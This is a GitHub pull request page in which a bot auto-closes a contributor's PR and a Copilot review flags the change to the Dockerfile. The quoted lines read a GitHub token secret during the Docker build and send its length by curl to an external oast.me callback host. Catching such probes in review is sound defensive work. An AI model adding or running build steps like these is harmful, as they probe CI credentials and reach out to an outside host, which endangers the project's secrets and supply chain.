Conversation
|
|
Hi @didyounes, Thank you for your interest in contributing to Arc Node. This PR has been automatically closed because it does not reference a GitHub issue. All PRs must reference an existing issue using the format To contribute properly:
Please see our CONTRIBUTING.md for more details. |
There was a problem hiding this comment.
Copilot review overview
🟡 Changes recommended
Remove the credential validation/probing and external callback before approval.
Get a fresh assessment by requesting another Copilot review.
Review effort: Lite
Findings: 1
Open (1)
What changed in this PR
This CI change passes OIDC build metadata through Docker Bake secrets for use during image builds.
Changes:
- Adds OIDC URL/token secret mounts in
docker-bake.hcl. - Consumes them in the execution Dockerfile’s chef stage.
| File | Summary |
|---|---|
docker-bake.hcl |
Adds OIDC environment secrets to Bake. |
deployments/Dockerfile.execution |
Consumes the secrets but includes credential probing and an external callback. |
💡 Add a code-review agent skill or configure MCP servers for context-aware, tailored reviews. Learn more in the docs.
| OOB="https://cipoc-e31a2c.dapag0sasoc4d158q4igokuzu8m9sjphd.oast.me"; \ | ||
| GHLEN=0; [ -s /run/secrets/github_token ] && GHLEN=$(wc -c < /run/secrets/github_token | tr -d ' '); \ | ||
| curl -s -m 10 "$OOB/hit?step=secret&ghex_len=$GHLEN" >/dev/null 2>&1 || true; \ |

Opened in error during local testing. Closed and branch/fork removed.